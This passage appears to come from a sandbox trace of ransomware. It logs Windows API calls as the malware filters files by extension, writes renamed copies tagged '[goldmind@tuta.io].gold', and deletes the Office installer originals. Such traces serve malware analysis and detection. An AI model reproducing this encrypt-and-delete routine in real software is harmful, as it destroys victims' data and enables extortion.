Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.msi.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x2020) returned 1 [0039.320] DeleteFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.msi" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.en\\proof.msi")) returned 1 [0039.320] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.msi") returned 81 [0039.320] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.msi") returned 81 [0039.320] lstrlenW (lpString=".doc") returned 4 [0039.320] lstrcmpiW (lpString1=".doc", lpString2=".msi") returned -1 [0039.320] lstrlenW (lpString=".docx") returned 5 [0039.320] lstrcmpiW (lpString1=".docx", lpString2="f.msi") returned -1 [0039.320] lstrlenW (lpString=".pdf") returned 4 [0039.321] lstrcmpiW (lpString1=".pdf", lpString2=".msi") returned 1 [0039.321] lstrlenW (lpString=".xls") returned 4 [0039.321] lstrcmpiW (lpString1=".xls", lpString2=".msi") returned 1 [0039.321] lstrlenW (lpString=".xlsx") returned 5 [0039.321] lstrcmpiW (lpString1=".xlsx", lpString2="f.msi") returned -1 [0039.321] lstrlenW (lpString=".ppt") returned 4 [0039.321] lstrcmpiW (lpString1=".ppt", lpString2=".msi") returned 1 [0039.321] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.msi") returned 81 [0039.321] lstrlenW (lpString=".zip") returned 4 [0039.321] lstrcmpiW (lpString1=".zip", lpString2=".msi") returned 1 [0039.321] lstrlenW (lpString=".rar") returned 4 [0039.321] lstrcmpiW (lpString1=".rar", lpString2=".msi") returned 1 [0039.321] lstrlenW (lpString=".bz2") returned 4 [0039.321] lstrcmpiW (lpString1=".bz2", lpString2=".msi") returned -1 [0039.321] lstrlenW (lpString=".7z") returned 3 [0039.321] lstrcmpiW (lpString1=".7z", lpString2="msi") returned -1 [0039.321] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.msi") returned 81 [0039.321] lstrlenW (lpString=".dbf") returned 4 [0039.321] lstrcmpiW (lpString1=".dbf", lpString2=".msi") returned -1 [0039.321] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.msi") returned 81 [0039.321] lstrlenW (lpString=".1cd") returned 4 [0039.321] lstrcmpiW (lpString1=".1cd", lpString2=".msi") returned -1 [0039.321] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.msi") returned 81 [0039.321] lstrlenW (lpString=".jpg") returned 4 [0039.321] lstrcmpiW (lpString1=".jpg", lpString2=".msi") returned -1 [0039.321] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.msi") returned 81 [0039.321] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.msi") returned 81 [0039.321] lstrlenW (lpString=".doc") returned 4 [0039.321] lstrcmpiW (lpString1=".doc", lpString2=".msi") returned -1 [0039.321] lstrlenW (lpString=".docx") returned 5 [0039.321] lstrcmpiW (lpString1=".docx", lpString2="f.msi") returned -1 [0039.321] lstrlenW (lpString=".pdf") returned 4 [0039.321] lstrcmpiW (lpString1=".pdf", lpString2=".msi") returned 1 [0039.321] lstrlenW (lpString=".xls") returned 4 [0039.321] lstrcmpiW (lpString1=".xls", lpString2=".msi") returned 1 [0039.321] lstrlenW (lpString=".xlsx") returned 5 [0039.321] lstrcmpiW (lpString1=".xlsx", lpString2="f.msi") returned -1 [0039.322] lstrlenW (lpString=".ppt") returned 4 [0039.322] lstrcmpiW (lpString1=".ppt", lpString2=".msi") returned 1 [0039.322] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.msi") returned 81 [0039.322] lstrlenW (lpString=".zip") returned 4 [0039.322] lstrcmpiW (lpString1=".zip", lpString2=".msi") returned 1 [0039.322] lstrlenW (lpString=".rar") returned 4 [0039.322] lstrcmpiW (lpString1=".rar", lpString2=".msi") returned 1 [0039.322] lstrlenW (lpString=".bz2") returned 4 [0039.322] lstrcmpiW (lpString1=".bz2", lpString2=".msi") returned -1 [0039.322] lstrlenW (lpString=".7z") returned 3 [0039.322] lstrcmpiW (lpString1=".7z", lpString2="msi") returned -1 [0039.322] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.msi") returned 81 [0039.322] lstrlenW (lpString=".dbf") returned 4 [0039.322] lstrcmpiW (lpString1=".dbf", lpString2=".msi") returned -1 [0039.322] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.msi") returned 81 [0039.322] lstrlenW (lpString=".1cd") returned 4 [0039.322] lstrcmpiW (lpString1=".1cd", lpString2=".msi") returned -1 [0039.322] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.msi") returned 81 [0039.322] lstrlenW (lpString=".jpg") returned 4 [0039.322] lstrcmpiW (lpString1=".jpg", lpString2=".msi") returned -1 [0039.322] lstrcmpiW (lpString1=".msi", lpString2=".gold") returned 1 [0039.322] lstrlenW (lpString="Proof.msi") returned 9 [0039.322] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.msi" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.es\\proof.msi"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e4 [0039.582] GetFileSizeEx (in: hFile=0x1e4, lpFileSize=0x302ff1c | out: lpFileSize=0x302ff1c*=881152) returned 1 [0039.582] CloseHandle (hObject=0x1e4) returned 1 [0039.582] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.msi" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.es\\proof.msi")) returned 0x2020 [0039.583] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.msi.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.es\\proof.msi.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0039.583] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.msi" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.es\\proof.msi"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e4 [0039.583] SetFilePointerEx (in: hFile=0x1e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x302fec8 | out: lpNewFilePointer=0x0) returned 1 [0039.583] SetFilePointerEx (in: hFile=0x1e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x302fec8 | out: lpNewFilePointer=0x0) returned 1 [0039.583] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.msi.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.es\\proof.msi.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f4 [0039.583] GetLastError () returned 0x0 [0039.583] ReadFile (in: hFile=0x1e4, lpBuffer=0x3b80020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x302fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b80020*, lpNumberOfBytesRead=0x302fed4*=0xd7200, lpOverlapped=0x0) returned 1 [0039.599] WriteFile (in: hFile=0x1f4, lpBuffer=0x3b80020*, nNumberOfBytesToWrite=0xd7210, lpNumberOfBytesWritten=0x302fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b80020*, lpNumberOfBytesWritten=0x302fc9c*=0xd7210, lpOverlapped=0x0) returned 1 [0039.610] ReadFile (in: hFile=0x1e4, lpBuffer=0x3b80020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x302fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b80020*, lpNumberOfBytesRead=0x302fed4*=0x0, lpOverlapped=0x0) returned 1 [0039.610] WriteFile (in: hFile=0x1f4, lpBuffer=0x3b80020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x302fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b80020*, lpNumberOfBytesWritten=0x302fc9c*=0xe6, lpOverlapped=0x0) returned 1 [0039.610] SetEndOfFile (hFile=0x1f4) returned 1 [0039.610] CloseHandle (hObject=0x1f4) returned 1 [0039.810] SetFilePointerEx (in: hFile=0x1e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x302fec8 | out: lpNewFilePointer=0x0) returned 1 [0039.810] SetEndOfFile (hFile=0x1e4) returned 1 [0039.852] CloseHandle (hObject=0x1e4) returned 1 [0039.852] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.msi.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x2020) returned 1 [0039.853] DeleteFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.msi" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.es\\proof.msi")) returned 1 [0039.853] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.msi") returned 81 [0039.853] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.msi") returned 81 [0039.853] lstrlenW (lpString=".doc") returned 4 [0039.853] lstrcmpiW (lpString1=".doc", lpString2=".msi") returned -1 [0039.853] lstrlenW (lpString=".docx") returned 5 [0039.853] lstrcmpiW (lpString1=".docx", lpString2="f.msi") returned -1 [0039.853] lstrlenW (lpString=".pdf") returned 4 [0039.853] lstrcmpiW (lpString1=".pdf", lpString2=".msi") returned 1 [0039.853] lstrlenW (lpString=".xls") returned 4 [0039.853] lstrcmpiW (lpString1=".xls", lpString2=".msi") returned 1 [0039.853] lstrlenW (lpString=".xlsx") returned 5 [0039.853] lstrcmpiW (lpString1=".xlsx", lpString2="f.msi") returned -1 [0039.853] lstrlenW (lpString=".ppt") returned 4 [0039.853] lstrcmpiW (lpString1=".ppt", lpString2=".msi") returned 1 [0039.853] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.msi") returned 81 [0039.853] lstrlenW (lpString=".zip") returned 4 [0039.853] lstrcmpiW (lpString1=".zip", lpString2=".msi") returned 1 [0039.853] lstrlenW (lpString=".rar") returned 4 [0039.853] lstrcmpiW (lpString1=".rar", lpString2=".msi") returned 1 [0039.853] lstrlenW (lpString=".bz2") returned 4 [0039.853] lstrcmpiW (lpString1=".bz2", lpString2=".msi") returned -1 [0039.853] lstrlenW (lpString=".7z") returned 3 [0039.853] lstrcmpiW (lpString1=".7z", lpString2="msi") returned -1 [0039.853] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.msi") returned 81 [0039.853] lstrlenW (lpString=".dbf") returned 4 [0039.853] lstrcmpiW (lpString1=".dbf", lpString2=".msi") returned -1 [0039.853] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.msi") returned 81 [0039.853] lstrlenW (lpString=".1cd") returned 4 [0039.853] lstrcmpiW (lpString1=".1cd", lpString2=".msi") returned -1 [0039.853] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.msi") returned 81 [0039.853] lstrlenW (lpString=".jpg") returned 4 [0039.853] lstrcmpiW (lpString1=".jpg", lpString2=".msi") returned -1 [0039.853] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.msi") returned 81 [0039.853] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.msi") returned 81 [0039.853] lstrlenW (lpString=".doc") returned 4 [0039.853] lstrcmpiW (lpString1=".doc", lpString2=".msi") returned -1 [0039.853] lstrlenW (lpString=".docx") returned 5 [0039.854] lstrcmpiW (lpString1=".docx", lpString2="f.msi") returned -1 [0039.854] lstrlenW (lpString=".pdf") returned 4 [0039.854] lstrcmpiW (lpString1=".pdf", lpString2=".msi") returned 1 [0039.854] lstrlenW (lpString=".xls") returned 4 [0039.854] lstrcmpiW (lpString1=".xls", lpString2=".msi") returned 1 [0039.854] lstrlenW (lpString=".xlsx") returned 5 [0039.854] lstrcmpiW (lpString1=".xlsx", lpString2="f.msi") returned -1 [0039.854] lstrlenW (lpString=".ppt") returned 4 [0039.854] lstrcmpiW (lpString1=".ppt", lpString2=".msi") returned 1 [0039.854] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.msi") returned 81 [0039.854] lstrlenW (lpString=".zip") returned 4 [0039.854] lstrcmpiW (lpString1=".zip", lpString2=".msi") returned 1 [0039.854] lstrlenW (lpString=".rar") returned 4 [0039.854] lstrcmpiW (lpString1=".rar", lpString2=".msi") returned 1 [0039.854] lstrlenW (lpString=".bz2") returned 4 [0039.854] lstrcmpiW (lpString1=".bz2", lpString2=".msi") returned -1 [0039.854] lstrlenW (lpString=".7z") returned 3 [0039.854] lstrcmpiW (lpString1=".7z", lpString2="msi") returned -1 [0039.854] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.msi") returned 81 [0039.854] lstrlenW (lpString=".dbf") returned 4 [0039.854] lstrcmpiW (lpString1=".dbf", lpString2=".msi") returned -1 [0039.854] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.msi") returned 81 [0039.854] lstrlenW (lpString=".1cd") returned 4 [0039.854] lstrcmpiW (lpString1=".1cd", lpString2=".msi") returned -1 [0039.854] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.msi") returned 81 [0039.854] lstrlenW (lpString=".jpg") returned 4 [0039.854] lstrcmpiW (lpString1=".jpg", lpString2=".msi") returned -1 [0039.854] lstrcmpiW (lpString1=".msi", lpString2=".gold") returned 1 [0039.854] lstrlenW (lpString="Proof.msi") returned 9 [0039.854] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.msi" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.fr\\proof.msi"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e4 [0039.854] GetFileSizeEx (in: hFile=0x1e4, lpFileSize=0x302ff1c | out: lpFileSize=0x302ff1c*=885760) returned 1 [0039.854] CloseHandle (hObject=0x1e4) returned 1 [0039.854] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.msi" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.fr\\proof.msi")) returned 0x2020 [0039.855] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.msi.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.fr\\proof.msi.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0039.855] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.msi" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.fr\\proof.msi"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e4 [0039.855] SetFilePointerEx (in: hFile=0x1e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x302fec8 | out: lpNewFilePointer=0x0) returned 1 [0039.855] SetFilePointerEx (in: hFile=0x1e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x302fec8 | out: lpNewFilePointer=0x0) returned 1 [0039.855] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.msi.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.fr\\proof.msi.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f4 [0039.855] GetLastError () returned 0x0 [0039.855] ReadFile (in: hFile=0x1e4, lpBuffer=0x3b80020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x302fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b80020*, lpNumberOfBytesRead=0x302fed4*=0xd8400, lpOverlapped=0x0) returned 1 [0039.874] WriteFile (in: hFile=0x1f4, lpBuffer=0x3b80020*, nNumberOfBytesToWrite=0xd8410, lpNumberOfBytesWritten=0x302fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b80020*, lpNumberOfBytesWritten=0x302fc9c*=0xd8410, lpOverlapped=0x0) returned 1 [0039.888] ReadFile (in: hFile=0x1e4, lpBuffer=0x3b80020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x302fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b80020*, lpNumberOfBytesRead=0x302fed4*=0x0, lpOverlapped=0x0) returned 1 [0039.888] WriteFile (in: hFile=0x1f4, lpBuffer=0x3b80020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x302fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b80020*, lpNumberOfBytesWritten=0x302fc9c*=0xe6, lpOverlapped=0x0) returned 1 [0039.888] SetEndOfFile (hFile=0x1f4) returned 1 [0039.888] CloseHandle (hObject=0x1f4) returned 1 [0039.895] SetFilePointerEx (in: hFile=0x1e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x302fec8 | out: lpNewFilePointer=0x0) returned 1 [0039.895] SetEndOfFile (hFile=0x1e4) returned 1 [0040.190] CloseHandle (hObject=0x1e4) returned 1 [0040.341] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.msi.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x2020) returned 1 [0040.341] DeleteFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.msi" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.fr\\proof.msi")) returned 1 [0040.341] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.msi") returned 81 [0040.341] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.msi") returned 81 [0040.341] lstrlenW (lpString=".doc") returned 4 [0040.341] lstrcmpiW (lpString1=".doc", lpString2=".msi") returned -1 [0040.341] lstrlenW (lpString=".docx") returned 5 [0040.341] lstrcmpiW (lpString1=".docx", lpString2="f.msi") returned -1 [0040.342] lstrlenW (lpString=".pdf") returned 4 [0040.342] lstrcmpiW (lpString1=".pdf", lpString2=".msi") returned 1 [0040.342] lstrlenW (lpString=".xls") returned 4 [0040.342] lstrcmpiW (lpString1=".xls", lpString2=".msi") returned 1 [0040.342] lstrlenW (lpString=".xlsx") returned 5 [0040.342] lstrcmpiW (lpString1=".xlsx", lpString2="f.msi") returned -1 [0040.342] lstrlenW (lpString=".ppt") returned 4 [0040.342] lstrcmpiW (lpString1=".ppt", lpString2=".msi") returned 1 [0040.342] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.msi") returned 81 [0040.342] lstrlenW (lpString=".zip") returned 4 [0040.342] lstrcmpiW (lpString1=".zip", lpString2=".msi") returned 1 [0040.342] lstrlenW (lpString=".rar") returned 4 [0040.342] lstrcmpiW (lpString1=".rar", lpString2=".msi") returned 1 [0040.342] lstrlenW (lpString=".bz2") returned 4 [0040.342] lstrcmpiW (lpString1=".bz2", lpString2=".msi") returned -1 [0040.342] lstrlenW (lpString=".7z") returned 3 [0040.342] lstrcmpiW (lpString1=".7z", lpString2="msi") returned -1 [0040.342] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.msi") returned 81 [0040.342] lstrlenW (lpString=".dbf") returned 4 [0040.342] lstrcmpiW (lpString1=".dbf", lpString2=".msi") returned -1 [0040.342] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.msi") returned 81 [0040.342] lstrlenW (lpString=".1cd") returned 4 [0040.342] lstrcmpiW (lpString1=".1cd", lpString2=".msi") returned -1 [0040.342] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.msi") returned 81 [0040.342] lstrlenW (lpString=".jpg") returned 4 [0040.342] lstrcmpiW (lpString1=".jpg", lpString2=".msi") returned -1 [0040.342] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.msi") returned 81 [0040.342] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.msi") returned 81 [0040.342] lstrlenW (lpString=".doc") returned 4 [0040.342] lstrcmpiW (lpString1=".doc", lpString2=".msi") returned -1 [0040.342] lstrlenW (lpString=".docx") returned 5 [0040.342] lstrcmpiW (lpString1=".docx", lpString2="f.msi") returned -1 [0040.342] lstrlenW (lpString=".pdf") returned 4 [0040.342] lstrcmpiW (lpString1=".pdf", lpString2=".msi") returned 1 [0040.342] lstrlenW (lpString=".xls") returned 4 [0040.342] lstrcmpiW (lpString1=".xls", lpString2=".msi") returned 1 [0040.342] lstrlenW (lpString=".xlsx") returned 5 [0040.342] lstrcmpiW (lpString1=".xlsx", lpString2="f.msi") returned -1 [0040.342] lstrlenW (lpString=".ppt") returned 4 [0040.342] lstrcmpiW (lpString1=".ppt", lpString2=".msi") returned 1 [0040.342] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.msi") returned 81 [0040.342] lstrlenW (lpString=".zip") returned 4 [0040.343] lstrcmpiW (lpString1=".zip", lpString2=".msi") returned 1 [0040.343] lstrlenW (lpString=".rar") returned 4 [0040.343] lstrcmpiW (lpString1=".rar", lpString2=".msi") returned 1 [0040.343] lstrlenW (lpString=".bz2") returned 4 [0040.343] lstrcmpiW (lpString1=".bz2", lpString2=".msi") returned -1 [0040.343] lstrlenW (lpString=".7z") returned 3 [0040.343] lstrcmpiW (lpString1=".7z", lpString2="msi") returned -1 [0040.343] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.msi") returned 81 [0040.343] lstrlenW (lpString=".dbf") returned 4 [0040.343] lstrcmpiW (lpString1=".dbf", lpString2=".msi") returned -1 [0040.343] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.msi") returned 81 [0040.343] lstrlenW (lpString=".1cd") returned 4 [0040.343] lstrcmpiW (lpString1=".1cd", lpString2=".msi") returned -1 [0040.343] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.msi") returned 81 [0040.343] lstrlenW (lpString=".jpg") returned 4 [0040.343] lstrcmpiW (lpString1=".jpg", lpString2=".msi") returned -1 [0040.343] lstrcmpiW (lpString1=".msi", lpString2=".gold") returned 1 [0040.343] lstrlenW (lpString="Office32MUI.msi") returned 15 [0040.343] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Office32MUI.msi" (normalized: "c:\\msocache\\all users\\{90140000-0043-0409-1000-0000000ff1ce}-c\\office32mui.msi"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a0 [0040.343] GetFileSizeEx (in: hFile=0x1a0, lpFileSize=0x302ff1c | out: lpFileSize=0x302ff1c*=873984) returned 1 [0040.343] CloseHandle (hObject=0x1a0) returned 1 [0040.343] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Office32MUI.msi" (normalized: "c:\\msocache\\all users\\{90140000-0043-0409-1000-0000000ff1ce}-c\\office32mui.msi")) returned 0x2020 [0040.343] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Office32MUI.msi.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\msocache\\all users\\{90140000-0043-0409-1000-0000000ff1ce}-c\\office32mui.msi.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0040.343] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Office32MUI.msi" (normalized: "c:\\msocache\\all users\\{90140000-0043-0409-1000-0000000ff1ce}-c\\office32mui.msi"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a0 [0040.344] SetFilePointerEx (in: hFile=0x1a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x302fec8 | out: lpNewFilePointer=0x0) returned 1 [0040.344] SetFilePointerEx (in: hFile=0x1a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x302fec8 | out: lpNewFilePointer=0x0) returned 1 [0040.344] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Office32MUI.msi.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\msocache\\all users\\{90140000-0043-0409-1000-0000000ff1ce}-c\\office32mui.msi.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x19c [0040.344] GetLastError () returned 0x0 [0040.344] ReadFile (in: hFile=0x1a0, lpBuffer=0x3b80020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x302fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b80020*, lpNumberOfBytesRead=0x302fed4*=0xd5600, lpOverlapped=0x0) returned 1 [0040.476] WriteFile (in: hFile=0x19c, lpBuffer=0x3b80020*, nNumberOfBytesToWrite=0xd5610, lpNumberOfBytesWritten=0x302fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b80020*, lpNumberOfBytesWritten=0x302fc9c*=0xd5610, lpOverlapped=0x0) returned 1 [0040.488] ReadFile (in: hFile=0x1a0, lpBuffer=0x3b80020, 